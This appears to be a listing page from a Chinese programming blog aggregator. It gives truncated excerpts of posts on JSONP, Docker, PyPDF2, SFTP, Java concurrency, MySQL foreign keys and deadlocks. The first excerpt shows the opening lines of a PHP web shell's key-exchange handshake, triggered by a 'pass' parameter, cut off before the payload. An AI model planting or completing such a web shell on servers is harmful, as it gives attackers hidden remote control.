先是shell脚本 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key ...
分类:
其他好文 时间:
2020-06-24 14:22:32
阅读次数:
76
什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名、协议、端口均相同。 浏览器执行JavaScript脚本时,会检查这个脚本属于那个页面,如果不是同源页面,就不会被执行。 JSONP跨域 只支持GET请求,不支持POS ...
分类:
Web程序 时间:
2020-06-24 14:13:20
阅读次数:
61
基础镜像是Ubuntu。run里面加个 apt install -y sudo 问题原因,基础镜像比较干净或者讲比较裸。 ...
分类:
其他好文 时间:
2020-06-24 14:12:06
阅读次数:
46
从PDF读取文本内容和从已经有的文档生成新的PDF。需要用到的模块是PyPDF2.同时,还要关注较新的PyPDF4包,因为它很快就会取代PyPDF2。也可以看看pdfrw包,它也可以执行许多与PyPDF2相同的操作。https://zhuanlan.zhihu.com/p/98626155首先安装P... ...
分类:
编程语言 时间:
2020-06-24 14:00:43
阅读次数:
97
使用sftp客户端工具连接sftp服务器时,闲置一段时间后,再使用就会等很久然后报一个错误: 错误: Network error: Software caused connection abort错误: 读取目录列表失败 。然后从服务器断开,重新连接。响应速度相比重新建立连接要慢很多。如果频繁使用的 ...
分类:
其他好文 时间:
2020-06-24 12:20:39
阅读次数:
211
已剪辑自: https://www.jianshu.com/p/bb5105303d85 JAVA并发包中有三个类用于同步一批线程的行为,分别是CountDownLatch、Semaphore和CyclicBarrier。 CountDownLatch CountDownLatch是一个计数器闭锁, ...
分类:
编程语言 时间:
2020-06-24 11:54:33
阅读次数:
54
MySQL报错:Cannot add or update a child row: a foreign key constraint fails 原因及解决方法 前几天增加了数据库中几张表的外键,结果调试接口的时候就报Cannot add or update a child row: a forei ...
分类:
数据库 时间:
2020-06-24 11:44:22
阅读次数:
59
1、概览 当多线程帮助我们提高应用性能的同时,它同时也带来一些问题,本文我们将借助几个小例子看下两个问题,死锁和活锁。 2、死锁 2.1、什么是死锁 死锁发生在当两个或多个线程一直在等待另一个线程持有的锁或资源的时候。这会导致一个程序可能会被拖垮或者直接挂掉,因为线程们都不能继续工作了。 经典的哲学 ...
分类:
编程语言 时间:
2020-06-24 00:24:55
阅读次数:
92
1、编译报错 Error:(16, 8) java: 无法将类 uiauto.web.common.OperationNewLabelPageImpl中的构造器 OperationNewLabelPageImpl应用到给定类型; 需要: org.openqa.selenium.chrome.Chro ...
分类:
编程语言 时间:
2020-06-24 00:08:44
阅读次数:
84
原因分析: Ah, ok. I thought it was commented out because it caused the error. You can always put a breakpoint in the line printing the error and look at t ...
分类:
其他好文 时间:
2020-06-23 21:48:50
阅读次数:
84